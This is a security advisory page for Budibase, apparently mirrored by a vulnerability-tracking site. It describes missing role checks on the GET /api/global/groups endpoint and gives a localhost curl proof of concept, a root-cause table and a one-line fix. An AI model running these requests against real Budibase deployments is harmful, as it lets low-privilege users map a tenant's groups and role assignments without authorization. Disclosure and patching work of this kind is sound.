Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
Summary
The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.
Steps to Reproduce
1. Start Budibase
docker run -d --name budibase-poc -p 10000:80 \
-e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
-e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
-e API_ENCRYPTION_KEY=api_enc_key_test123456 \
-e BB_ADMIN_USER_EMAIL=admin@test.com \
-e BB_ADMIN_USER_PASSWORD=TestPassword123! \
budibase/budibase:latest
until curl -sf http://localhost:10000/health; do sleep 5; done2. Login as admin, create a user group, create a BASIC user
# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"admin@test.com","password":"TestPassword123!"}'
# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
-H "Content-Type: application/json" \
-d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'
# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
-H "Content-Type: application/json" \
-d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'3. Login as BASIC user and enumerate all groups (the vulnerability)
# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"basic@test.com","password":"BasicPass123!"}'
# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groupsExpected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.
Standalone verification (code review)
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.tsOutput shows the list endpoint has NO auth middleware:
.get("/api/global/groups", # <-- NO auth.builderOrAdmin
requireFeature(Feature.USER_GROUPS),
controller.fetchCompare with the single-group endpoint directly below:
.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin
auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.getByIdRoot Cause
File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
| Endpoint | Auth Middleware |
|---|---|
POST /api/global/groups |
auth.adminOnly |
DELETE /api/global/groups/:id/:rev |
auth.adminOnly |
GET /api/global/groups/:id |
auth.builderOrAdmin |
GET /api/global/groups/:id/users |
auth.builderOrAdmin |
GET /api/global/groups |
NONE |
Impact
A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.
Suggested Fix
router.get("/api/global/groups",
+ auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.fetch
)Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @budibase/server | <= 3.38.1 | brak poprawki |
Odnośniki
- https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4
- https://github.com/Budibase/budibase/pull/19109
- https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a
- https://github.com/Budibase/budibase
- https://github.com/Budibase/budibase/releases/tag/3.39.25
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Słabość (CWE)
CWE-862- Platforma
- npm
- Paczka
@budibase/server- Ujawniono
- 24.07.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-4qcj-m5wp-jmf4 - CC BY 4.0
Historia podatności: @budibase/server
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 42
- Pierwsza → ostatnia
- 03.2024 08.2026
- Bez poprawki
- 19
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 8
- Wysoka 27
- Średnia 7
Ujawnienia w latach
- 2024: 1
- 2025: 0
- 2026: 41
-
Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.